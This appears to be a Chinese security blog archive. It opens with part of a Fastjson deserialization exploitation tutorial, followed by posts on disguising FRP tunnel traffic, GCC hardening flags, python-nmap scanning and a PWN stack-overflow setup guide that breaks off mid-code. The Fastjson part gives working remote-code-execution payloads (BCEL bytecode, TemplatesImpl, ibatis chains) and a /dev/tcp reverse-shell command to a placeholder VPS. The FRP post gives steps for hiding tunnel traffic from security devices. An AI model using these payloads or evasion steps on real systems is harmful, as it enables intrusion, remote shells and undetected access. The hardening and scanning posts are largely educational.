                + "      \"lenient\":false,\r\n"
                + "      \"defaultEncoding\":\"UTF-8\"\r\n"
                + "    },\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bufferSize\": 1024\r\n"
                + "            },\r\n"
                + "            \"boms\": [{\r\n"
                + "              \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
                + "              \"charsetName\": \"UTF-8\",\r\n"
                + "              \"bytes\": [\r\n"
                + "                36,82\r\n"
                + "              ]\r\n"
                + "            }]\r\n"
                + "          }\r\n"
                + "        }\r\n"
                + "      }\r\n"
                + "    },  \r\n"
                + "  }\r\n"
                + "";
        System.out.println(poc2);

        JSON.parseObject(poc2);
    }
}

fastjson不出网利用姿势

利用Java的BCEL字节码进行绕过，字节码，就是Java源代码编译后的产物，它是一种中间代码，既不是完全的机器语言，也不是咱们写的那些高级语言代码。JVM（Java虚拟机）就是通过解释或编译这些字节码来运行咱们的程序。而BCEL字节码检测器是一个Java字节码操作库,可以用于分析、修改和创建Java类文件的字节码.

基于Tomcat回显

编写BCEL_exp

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCEL_exp {
    public static void main(String[] args) throws IOException {
        Path path = Paths.get("D:\\java\\untitled1\\FastJsonDemo\\untitled\\src\\exp.class");
        byte[] bytes = Files.readAllBytes(path);
        System.out.println(bytes.length);
        String encode = Utility.encode(bytes, true);
        BufferedWriter bw = new BufferedWriter(new FileWriter("./res.txt"));
        bw.write("$$BECL$$" + encode);
        bw.close();
    }
}

//生成的字节码如下
//$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A

exp.classs => java1.8_65

public class exp{
    static {
        try{
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
}

构造poc如下，成功弹出计算器

{
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
    }
}

再去构造编写反弹shell构造即可

bash -c {echo,bash -i >& /dev/tcp/VPS/6666 0>&1的base64}|{base64,-d}|{bash,-i}

基于Spring echo回显

{
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "字节码放入此处"
    }
}

前面讲过就是Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl

基于`TemplatesImpl class`

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
        },
    "b": {
        "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        "_bytecodes": ["字节码"],
        '_name': 'a.b',
        '_tfactory': {},
        "_outputProperties": {},
        "_name": "b",
        "_version": "1.0",
        "allowedProtocols": "all"
      }
}

基于ibatis组件

pom.xml
<dependency>
    <groupId>org.mybatis</groupId>
  <artifactId>mybatis</artifactId>
  <version>3.5.2</version>
</dependency>

姿势：延时Payload

{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$90$b9N$c3$40$Q$86$ff$J$b678$O$Jq8$r$K$ba$84$824$94$R$N$87$c4$8d$94$u$fdz$b3$C$H$c7$b6$8c$83x$E$de$84$3a$V$88$82$H$e0$a1$Q$b3$L$C1$c5$cc$ee7$ff$i$bb$l$9fo$ef$A$f6$b0$e9C$60$d9$85$b5$f0$c9G$L$a1$40$5b$60E$60$95$e0$f5$e34$$$f7$J$L$9d$ee$88$e0$idcMh$9c$c7$a9$be$9cM$p$5d$Me$940$a9$f6U$f2$a3$ac$PJ$a9$ee$$dnS$dc$8b$e0$P$b2Y$a1$f4ql$a5$d7$99$da$9d$c8$H$Z$a0$8aE$81$b5$A$eb$d8$m$84$86$f5$S$99$de$f4$8e$k$95$ce$cb8Ky$$$ab$J$cd$bf$dcU4$d1$aa$fc$87$86$b7$85$96c$82$7b$9fh$9d$f3$96$9d$d3$ee$I$db$f0$f8i$c6$w$m3$8a$bd$cf$b7$z$8e$c4$d1$ddy$B$cd$f9$40$a8$b1$f7$y4$c2$e0WzhK$81Z$h$95W8$cfp$ce$e6$Wx$yq9i$K$5bp$d8$3b$cc$be$a9$f9$d0$3a$T$81$ca$89$c0$92$e9$d9$b0K4$bf$A5$8d$cc6u$B$A$A}"}}
回显Payload
{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{字节码放这里}"}}

总结拓展

到这里，基本Fastjson系列漏洞利用链子调试完成。下面总结知识点，拓展

反序列化核心

反序列化是通过字符串或字节流，利用Java的反射机制重构一个对象。主要有两种机制：

Java Bean反序列化机制

：通过反射机制实例化一个类，然后直接设置字段的值。
- 典型实现：JDK原生、Hessian等。
Property反序列化机制

：通过反射机制实例化一个类，通过调用setter方法设置字段的值。
- 典型实现：Fastjson、Jackson等。

Fastjson中的Property-based反序列化漏洞

在AutoType过程中，Fastjson会调用setter/getter方法：
- parse()：通过构造器方法实例化类，并调用setter方法。
- parseObject()：是parse方法的封装，除调用setter外，还会调用getter方法（因为会调用toJSON）。

Fastjson漏洞的对抗史

1.2.24版本
- 没有任何过滤器，可以使用任何类进行反序列化攻击。
- 典型攻击类：TemplatesImpl、JdbcRowSetImpl。
1.2.25版本
- 引入checkAutoType机制，加入黑名单和白名单。
- AutoType机制开启
  - 先检查白名单，白名单中的类直接加载。
  - 若不在白名单，继续检查黑名单，若不在黑名单，正常加载。
- AutoType机制关闭
  - 先检查黑名单，若类在黑名单中则抛出异常。
  - 再检查白名单，若不在白名单则抛出异常。
1.2.42版本
- 加入对L;的检测，发现L;则去除。
- 黑名单和白名单类名隐去，使用hash比对。
1.2.43版本
- 加入对LL;;的检测，发现LL;;则去除。
- 通过引入对[字符的检测进行进一步防护。
1.2.45版本
- 黑名单机制问题：黑名单无法穷尽所有恶意类。
1.2.47版本
- 开启AutoType且版本在33到47之间
  - 若类不在白名单，则继续检查黑名单。
  - 若类不在黑名单且不在mappings中，则正常加载。
  - 关键问题在于如何往mappings中添加恶意类。
- 未开启AutoType且版本在24到32之间，也存在漏洞。
1.2.68版本
- 引入expectedClass机制，增加了防护，但仍存在逻辑漏洞：
  - 特别是针对Throwable类的防护不足。
1.2.80版本

异常类漏洞防护
- 针对Throwable类及其子类的漏洞防护不足进行了增强，防止利用这些类进行攻击。

免杀魔改FRP内网隧道

Tue, 15 Apr 2025 10:35:00 GMT

免杀魔改frp内网隧道

1、前言

在渗透测试中都有流量代理转发的需求，但是现如今的安全设备的流量识别愈加强大，很多开源的工具都会被流量设备所识别，如果不进行特征的去除的话会被流量设备识别并告警，所以本文针对frp工具进行特征的去除。

2、魔改

frp的基础流量，可以看到代理ip以及其他信息，存在一定的被朔源隐患。

通过frp自带的加密参数设置：

加密和压缩通讯
use_encryption = true
use_compression = true

隐藏了部分流量信息

继续修改特征

/pkg/msg/msg.go下修改基础特征

修改ip特征信息

修改版本号信息

pkg/util/version/version.go

重新编译运行

修改后的流量，基础特征已经修改

开启tls加密

tls_enable = true
开启之前先修改tls首字节以免被识别
pkg/util/net/tls.go中FRPTLSHeadByte参数的值
默认为0x17

重新编译在运行

此时抓到的流量跟刚开始的默认流量截然不同，已经看不见ip信息和其他基础信息。

连通性测试

GCC编译针对Linux保护机制

Fri, 11 Apr 2025 11:01:00 GMT

GCC编译针对Linux保护机制

1. 栈保护（Stack Canary）

栈保护机制通过在栈上插入一个随机的“金丝雀值”（Canary），在函数返回前检查该值是否被修改，从而防止栈溢出攻击。

启用栈保护

gcc -fstack-protector -o program program.c

-fstack-protector：对包含敏感函数（如使用 alloca 或缓冲区较大的函数）启用栈保护。

启用强栈保护

gcc -fstack-protector-strong -o program program.c

-fstack-protector-strong：对更多函数启用栈保护，覆盖范围比 -fstack-protector 更广。

启用全栈保护

gcc -fstack-protector-all -o program program.c

-fstack-protector-all：对所有函数启用栈保护。

禁用栈保护

gcc -fno-stack-protector -o program program.c

-fno-stack-protector：禁用栈保护。

2. 数据执行保护（NX/DEP）

数据执行保护机制通过将栈和堆标记为不可执行，防止攻击者执行注入的 shellcode。

启用 NX 保护

gcc -z noexecstack -o program program.c

-z noexecstack：将栈标记为不可执行。

禁用 NX 保护

gcc -z execstack -o program program.c

-z execstack：将栈标记为可执行。

3. RELRO（Relocation Read-Only）

RELRO 机制通过将动态链接器的重定位表标记为只读，防止攻击者修改 GOT（Global Offset Table）。

启用 Partial RELRO

gcc -Wl,-z,relro -o program program.c

-Wl,-z,relro：启用 Partial RELRO，部分重定位表标记为只读。

启用 Full RELRO

gcc -Wl,-z,relro,-z,now -o program program.c

-Wl,-z,relro,-z,now：启用 Full RELRO，所有重定位表在程序启动时解析并标记为只读。

禁用 RELRO

gcc -Wl,-z,norelro -o program program.c

-Wl,-z,norelro：禁用 RELRO。

4. 地址空间布局随机化（ASLR）

ASLR 机制通过随机化程序的内存布局（如栈、堆、共享库的地址），增加攻击者预测内存地址的难度。

启用 ASLR

ASLR 是操作系统的特性，无法通过 gcc 直接启用或禁用。但可以通过以下方式控制：

启用 ASLR：

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

禁用 ASLR：

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

5. 位置无关代码（PIC/PIE）

位置无关代码（Position Independent Code, PIC）和位置无关可执行文件（Position Independent Executable, PIE）通过将代码和数据的地址随机化，增强 ASLR 的效果。

启用 PIE

gcc -fPIE -pie -o program program.c

-fPIE：生成位置无关代码。
-pie：生成位置无关可执行文件。

禁用 PIE

gcc -no-pie -o program program.c

-no-pie：禁用 PIE。

6. 格式化字符串保护

格式化字符串保护机制通过检查 printf 等函数的格式化字符串，防止格式化字符串漏洞。

启用格式化字符串保护

gcc -Wformat -Wformat-security -o program program.c

-Wformat：检查格式化字符串的正确性。
-Wformat-security：检查格式化字符串的安全性问题。

7. 其他安全选项

启用堆栈检查

gcc -fstack-check -o program program.c

-fstack-check：检查栈溢出。

启用缓冲区溢出检查

gcc -D_FORTIFY_SOURCE=2 -o program program.c

-D_FORTIFY_SOURCE=2：启用缓冲区溢出检查。

8. 综合示例

以下是一个综合启用多种保护机制的编译命令：

gcc -fstack-protector-strong -z noexecstack -Wl,-z,relro,-z,now -fPIE -pie -D_FORTIFY_SOURCE=2 -o program program.c

启用强栈保护。
启用 NX 保护。
启用 Full RELRO。
启用 PIE。
启用缓冲区溢出检查。

9. 总结

通过 gcc 的编译参数，可以灵活地启用或禁用 Linux 的保护机制。常见的保护机制包括：

栈保护（-fstack-protector）
数据执行保护（-z noexecstack）
RELRO（-Wl,-z,relro,-z,now）
PIE（-fPIE -pie）
格式化字符串保护（-Wformat -Wformat-security）

在实际开发中，建议根据程序的安全需求，合理启用这些保护机制，以提高程序的安全性。

使用PythonNmap模块进行主机探测

Mon, 24 Feb 2025 17:07:00 GMT

使用PythonNmap模块进行主机探测

在现代网络安全和信息搜集中，网络扫描是一项关键任务。Nmap（Network Mapper）作为一款功能强大的开源网络扫描工具，被广泛用于主机发现和安全审计，其已成为网络管理员和安全专家信息搜集与主机发现的首选。将Nmap与Python结合使用，可以大大提升自动化和灵活性。本文将深入探讨如何使用 python-nmap库，通过实际示例展示如何在Python脚本中调用Nmap的功能，进行网络扫描和分析任务。

通过PythonNmap模块我们可以在Python程序中灵活地使用Nmap进行网络扫描和分析。在使用 python-nmap 之前，读者需要先自行下载并安装Nmap扫描软件。可以通过访问Nmap的官方网站进行下载。以Windows平台为例，读者可以点击以下链接获取最新版本的安装。

点击下载Nmap软件：nmap-7.95-setup.exe

在完成Nmap安装后，可以在命令行中执行 pip install python-nmap 来安装对应的开发工具包，该库的使用非常简单且直观。

主机存活探测

对于端口扫描，我们可以通过 nmap.PortScanner() 来初始化并创建一个同步模式的端口扫描对象。在同步模式下，扫描任务会按顺序执行，直到所有任务完成后才会返回结果，例如我们以探测网段存活主机为例，在调用scan扫描函数时通过使用hosts可用于指定一个主机地址或主机组，使用ports则用于指定一个端口或端口范围，而使用arguments则可用于指定传递给Nmap的命令行参数。

import nmap

# 解析并打印主机信息
def parse_host_info(host_info):
    hostnames = host_info.get('hostnames', [{'name': '', 'type': ''}])
    addresses = host_info.get('addresses', {'ipv4': '', 'mac': ''})
    vendor = host_info.get('vendor', {})
    status = host_info.get('status', {'state': '', 'reason': ''})

    hostname = hostnames[0].get('name', '')
    hostname_type = hostnames[0].get('type', '')
    ipv4_address = addresses.get('ipv4', '')
    mac_address = addresses.get('mac', '')
    vendor_info = vendor.get(mac_address, '')
    state = status.get('state', '')
    reason = status.get('reason', '')

    print(f"主机名: {hostname}")
    print(f"主机名类型: {hostname_type}")
    print(f"IPv4 地址: {ipv4_address}")
    print(f"MAC 地址: {mac_address}")
    print(f"设备品牌: {vendor_info}")
    print(f"状态: {state}")
    print(f"响应: {reason}")
    print("-" * 40)

if __name__ == "__main__":
    # 创建一个PortScanner对象
    nm = nmap.PortScanner()

    # 执行扫描
    nm.scan("192.168.0.0/24", arguments="-sn")

    # 遍历所有主机
    for host in nm.all_hosts():
        host_info = nm[host]
        parse_host_info(host_info)

此外，也可以通过 nmap.PortScannerYield() 来创建一个异步的扫描对象。在异步模式下，扫描任务会并行执行，允许在任务执行的过程中实时获取扫描结果。

import nmap

if __name__ == "__main__":
    # 使用 PortScannerYield
    nmy = nmap.PortScannerYield()
    for progressive_result in nmy.scan('192.168.0.0/24', arguments="-sn"):
        print(progressive_result)

运行后这段代码，则可以输出192.168.0.0/24网段内所有的存活主机，参数中使用了-sn代表对内网进行Ping批量探测。

----------------------------------------
主机名: LyShark
主机名类型: Router
IPv4 地址: 192.168.0.1
MAC 地址: 18:1A:4C:5B:6F:8A
设备品牌: TP-Link Technologies
状态: up
响应: arp-response
----------------------------------------

主机扫描与探测

Nmap 提供了多种复杂的扫描方式来满足不同的网络探测需求，其中-sT 是最基本的TCP连接扫描方式，通过完整的三次握手来检测开放端口，但易被目标主机记录和发现。相比之下-sS 采用TCP SYN包进行半开放扫描，仅完成部分握手过程，其扫描更为隐蔽。通过-sF、-sX 和 -sN 采用特殊的 TCP FIN、Xmas Tree 和 Null 数据包进行扫描，通过检测关闭端口返回的RST包来推测开放端口，具备相比于SYN扫描更高的隐蔽性。-sU 通过发送UDP数据包来检测开放的UDP服务端口，尽管速度较慢且不可靠，但对识别UDP服务非常有用。-sA 和 -sW 扫描方法用于穿透防火墙，前者发送ACK包检测防火墙规则，后者通过检查TCP窗口大小推测端口状态。最后-sR 与其他扫描方法结合使用，专门用于识别和枚举RPC服务。根据具体需求和目标环境，选择合适的扫描方式可以达到最佳效果。

使用TCP-SYN扫描

我们以-sS参数为例，通过指定arguments参数为-sS将本次扫描限定为TCP SYN扫描模式，当扫描结束后通过nm.all_hosts()可获取到所有的主机扫描结果，并依次循环在遍历数组中所需元素并打印即可，如下代码所示；

import nmap

if __name__ == "__main__":
    # 创建一个PortScanner对象
    nm = nmap.PortScanner()

    # 执行扫描
    nm.scan("127.0.0.1", arguments="-sS")

    # 遍历所有主机
    for host in nm.all_hosts():
        print(f"主机地址列表: {host}")

        # 打印主机状态
        if 'status' in nm[host]:
            print(f"主机状态: {nm[host]['status']['state']}")

        # 打印主机名信息
        if 'hostnames' in nm[host]:
            for hostname in nm[host]['hostnames']:
                print(f"主机名称: {hostname['name']} ({hostname['type']})")

        # 打印地址信息
        if 'addresses' in nm[host]:
            for addr_type, addr in nm[host]['addresses'].items():
                print(f"{addr_type.capitalize()} 地址: {addr}")

        # 打印供应商信息
        if 'vendor' in nm[host]:
            for mac, vendor_name in nm[host]['vendor'].items():
                print(f"MAC 地址: {mac} ({vendor_name})")

        # 打印 TCP 端口信息
        if 'tcp' in nm[host]:
            for port in nm[host]['tcp']:
                port_info = nm[host]['tcp'][port]
                print(f"开放端口: {port}")
                print(f"  状态: {port_info['state']}")
                print(f"  响应: {port_info['reason']}")
                print(f"  服务名称: {port_info['name']}")
                print(f"  结果: {port_info['product']}")
                print(f"  版本: {port_info['version']}")
                print(f"  额外信息: {port_info['extrainfo']}")
                print(f"  可信级别: {port_info['conf']}")
                print(f"  CPE: {port_info['cpe']}")
        print("-" * 50)

运行后这段代码，则可针对127.0.0.1这台主机进行半开放扫描，通过该扫描可获取到目标主机的开放端口信息，服务名称等，其他扫描方式同理，只需要依次解析关键字段内容即可；

主机地址列表: 127.0.0.1
主机状态: up
主机名称:  ()
Ipv4 地址: 127.0.0.1
开放端口: 135
  状态: open
  响应: syn-ack
  服务名称: msrpc
  结果: 
  版本: 
  额外信息: 
  可信级别: 3
  CPE: 
开放端口: 445
  状态: open
  响应: syn-ack
  服务名称: microsoft-ds
  结果: 
  版本: 
  额外信息: 
  可信级别: 3
  CPE:

识别目标系统

Nmap 使用了一种称为TCP/IP堆栈指纹识别的技术来识别操作系统，其自身包含一个庞大的操作系统指纹数据库，每个指纹条目包含一组特征和其对应的操作系统版本信息。在扫描过程中，通过发送一系列精心设计的网络探测数据包，Nmap 能够生成一个指纹，与其数据库中的已知指纹进行比较，从而推断出目标操作系统。

在进行目标指纹识别时，通过使用-O参数来指定此操作，当识别结束后将会返回一个特定的JSON格式数组，我们只需要解析这个数组来判定即可，需要注意的是，扫描结果仅能参考并非一定是特定的系统。

import nmap

if __name__ == "__main__":
    # 创建一个PortScanner对象
    nm = nmap.PortScanner()

    # 执行扫描
    nm.scan("127.0.0.1", arguments="-O")

    # 遍历所有主机
    for host in nm.all_hosts():
        print("主机地址: {}".format(host))
        # 打印操作系统版本识别信息及准确度
        if 'osmatch' in nm[host]:
            for osmatch in nm[host]['osmatch']:
                print(f"操作系统大类: {osmatch['name']}")
                print(f"准确率: {osmatch['accuracy']}%")

                if 'osclass' in osmatch:
                    for osclass in osmatch['osclass']:
                        print(f"  系统类别: {osclass['type']}")
                        print(f"  系统厂商: {osclass['vendor']}")
                        print(f"  操作系统系列: {osclass['osfamily']}")
                        print(f"  操作系统版本: {osclass['osgen']}")
                        print(f"  准确率: {osclass['accuracy']}%")
                        if 'cpe' in osclass:
                            for cpe in osclass['cpe']:
                                print(f"  CPE: {cpe}")

通过运行上述代码，我们将对本机127.0.0.1进行操作系统的识别，识别结果如下所示；

主机地址: 127.0.0.1
操作系统大类: Microsoft Windows 10 1809 - 21H2
准确率: 100%
  系统类别: general purpose
  系统厂商: Microsoft
  操作系统系列: Windows
  操作系统版本: 10
  准确率: 100%
  CPE: cpe:/o:microsoft:windows_10

使用内置脚本

Nmap Scripting Engine（NSE）是Nmap的一个强大功能，通过Lua脚本实现自动化网络扫描和分析任务，NSE脚本分为多种类别，其涵盖了从服务检测、漏洞扫描到暴力破解等广泛用途。用户可以运行单个或多个脚本、甚至编写自定义脚本来满足特定需求。NSE 脚本使 Nmap 不再仅仅是一个端口扫描工具，而成为一个全面的网络安全评估工具。

枚举网站目录

通过网站目录枚举，我们可以获取到网站内部存在的隐藏文件等，在NSE脚本中枚举目录可以使用http-enum脚本，网站主页标题识别则可使用http-title脚本，通过两者结合我们就可以有效地枚举网站目录和获取网站主页标题，这对于网站安全性测试和信息收集非常有帮助。

import nmap

def extract_scripts(scan_data):
    scripts_output = []

    for host in scan_data.all_hosts():
        for protocol in scan_data[host].all_protocols():
            ports = scan_data[host][protocol].keys()
            for port in ports:
                port_info = scan_data[host][protocol][port]
                scripts = port_info.get('script', {})
                if scripts:
                    scripts_output.append({
                        "host": host,
                        "port": port,
                        "protocol": protocol,
                        "scripts": scripts
                    })

    return scripts_output

if __name__ == "__main__":
    # 创建一个PortScanner对象
    nm = nmap.PortScanner()

    # 执行带有NSE脚本的扫描
    target = "www.lyshark.com"
    nm.scan(target, arguments="-p 80 --script=banner,http-title,http-enum")

    # 提取scripts字段的内容
    scripts_output = extract_scripts(nm)

    # 打印scripts字段的内容
    for entry in scripts_output:
        print(f"扫描主机: {entry['host']}")
        print(f"扫描端口: {entry['port']}/{entry['protocol']}")
        print("脚本输出:")
        for script_name, script_output in entry['scripts'].items():
            print(f"  {script_name}: {script_output.encode('utf-8').decode('utf-8')}")
        print("\n")

识别主机漏洞

主机漏洞识别是进一步渗透测试的基础，使用 vuln 脚本进行漏洞检测是发现和识别网络中已知漏洞的有效方法，这些脚本可以帮助渗透测试人员和安全专家快速了解目标系统的安全状况，并为进一步的漏洞利用和修复提供基础信息。

import nmap
import json

def generate_report(scan_data):
    report = []
    for host in scan_data.all_hosts():
        host_info = {
            "host": host,
            "state": scan_data[host]['status']['state'],
            "addresses": scan_data[host].get('addresses', {}),
            "hostnames": scan_data[host].get('hostnames', []),
            "osmatch": scan_data[host].get('osmatch', []),
            "scripts": scan_data[host].get('hostscript', []),
            "ports": []
        }

        for protocol in scan_data[host].all_protocols():
            ports = scan_data[host][protocol].keys()
            for port in ports:
                port_info = scan_data[host][protocol][port]
                host_info["ports"].append({
                    "port": port,
                    "protocol": protocol,
                    "state": port_info['state'],
                    "service": port_info['name'],
                    "product": port_info.get('product', ''),
                    "version": port_info.get('version', ''),
                    "extrainfo": port_info.get('extrainfo', ''),
                    "cpe": port_info.get('cpe', []),
                    "scripts": port_info.get('script', {})
                })
        
        report.append(host_info)
    
    return report

if __name__ == "__main__":
    # 创建一个PortScanner对象
    nm = nmap.PortScanner()

    # 执行带有NSE脚本的扫描
    target = "127.0.0.1"
    nm.scan(target, arguments="-O --script=vuln")

    # 生成扫描报告
    report = generate_report(nm)

    # 打印扫描报告（以JSON格式）
    print(json.dumps(report, indent=4))

Nmap中针对脚本的定义还有许多，读者可自行尝试并理解。本章内容仅用于参考和理解。通过使用和编写NSE脚本，用户可以极大地扩展Nmap的功能，以满足各种网络安全和系统管理的需求。希望本文对你有所帮助，并能激发你在网络安全领域的进一步探索和应用。

PWN入门——栈溢出

Fri, 27 Dec 2024 10:57:00 GMT

PWN入门——栈溢出

0x00 pwn环境配置

更新、安装vim

sudo apt upgrade
sudo apt install vim

安装必要环境

将一下内容写入一个sh脚本文件中，为chmod 777 xxx.sh文件赋权限后直接./xxx.sh运行脚本，中途会出现Do you want to continue? [Y/n]输入y

#!/bin/bash
cd ~
sudo apt install tzdata
sudo apt install vim
sudo apt install libxml2-dev
sudo apt install libxslt-dev
sudo apt install libmysqlclient-dev
sudo apt install libsqlite3-dev
sudo apt install zlib1g-dev
sudo apt install python2-dev
sudo apt install python3-pip
sudo apt install libffi-dev
sudo apt install libssl-dev
sudo apt install wget
sudo apt install curl
sudo apt install gcc
sudo apt install clang
sudo apt install make
sudo apt install zip
sudo apt install build-essential
sudo apt install libncursesw5-dev libgdbm-dev libc6-dev
sudo apt install tk-dev
sudo apt install openssl
sudo apt install virtualenv
sudo apt install git
sudo apt install proxychains4
sudo apt install ruby-dev

#setuptools 36.6.1 -> python2
wget https://mirrors.aliyun.com/pypi/packages/56/a0/4dfcc515b1b993286a64b9ab62562f09e6ed2d09288909aee1efdb9dde16/setuptools-36.6.1.zip
unzip setuptools-36.6.1.zip
cd setuptools-36.6.1
sudo python2 setup.py install
cd ../
sudo rm -rf setuptools-36.6.1 setuptools-36.6.1.zip

#setuptools 65.4.1 -> python3
wget https://mirrors.aliyun.com/pypi/packages/03/c9/7b050ea4cc4144d0328f15e0b43c839e759c6c639370a3b932ecf4c6358f/setuptools-65.4.1.tar.gz
tar -zxvf setuptools-65.4.1.tar.gz
cd setuptools-65.4.1
sudo python3 setup.py install
cd ../
sudo rm -rf setuptools-65.4.1 setuptools-65.4.1.tar.gz

#pip
wget https://mirrors.aliyun.com/pypi/packages/53/7f/55721ad0501a9076dbc354cc8c63ffc2d6f1ef360f49ad0fbcce19d68538/pip-20.3.4.tar.gz
tar -zxvf pip-20.3.4.tar.gz
cd pip-20.3.4
sudo python2 setup.py install
sudo python3 setup.py install
cd ../
sudo rm -rf pip-20.3.4 pip-20.3.4.tar.gz

sudo pip2 config set global.index-url https://mirrors.aliyun.com/pypi/simple
sudo pip3 config set global.index-url https://mirrors.aliyun.com/pypi/simple

sudo python2 -m pip install --upgrade pip
sudo python3 -m pip install --upgrade pip

pip3 install --upgrade pip
sudo pip2 install pathlib2

pwntools

sudo python2 -m pip install --upgrade pwntools
sudo python3 -m pip install --upgrade pwntools

pwndbg+Pwngdb

这里我直接去github下载运行setup.sh会报错要求升级python3，所以直接引用了starrysky大佬的库

https://starrysky1004.github.io/pwnenv.zip

unzip pwnenv.zip
rm pwnenv.zip

#pwndbg
cd pwndbg
./setup.sh

#Pwngdb
cd ~/
cp ~/Pwngdb/.gdbinit ~/

vim ~/.gdbinit
#注释掉第一行 然后在第二行写入
source ~/pwndbg/gdbinit.py

patchelf

sudo apt install patchelf

glibc-all-in-one

#glibc-all-in-one
git clone https://github.com/matrix1001/glibc-all-in-one.git
cd glibc-all-in-one
python3 update_list
cat list

ropper

sudo pip3 install capstone filebytes unicorn keystone-engine ropper

qemu-system

sudo apt-get install qemu-system

Ropgadget

sudo -H python3 -m pip install ROPgadget

one_gadget、seccomp-tools

这两个我感觉很随缘，没事运行一下看运气吧（

sudo gem install one_gadget
sudo gem install seccomp-tools

0x01 基础知识 & ret2text

PWN解题目标

获取远程靶机里的flag文件中的字符串（flag是动态的，每个队伍的flag不同）

获取shell：和远程终端交互通过cat flag获取

可以获取shell的函数：system('/bin/sh') system('sh') system('$0')

ps:读的是远程的flag文件，本地可以用ls确认是否获得shell或创建一个flag文件
读取flag（open read write）/ system('cat flag')

前置基础

示例代码

#include <stdio.h>

char hello[] = "Hello world!";
int buf[10];

int func(int a, int b){
        int res;
        res = a + b;
        return res;
}

int main(){
        int a, b, c;
        a = 10;
        b = 20;
        c = func(a, b);
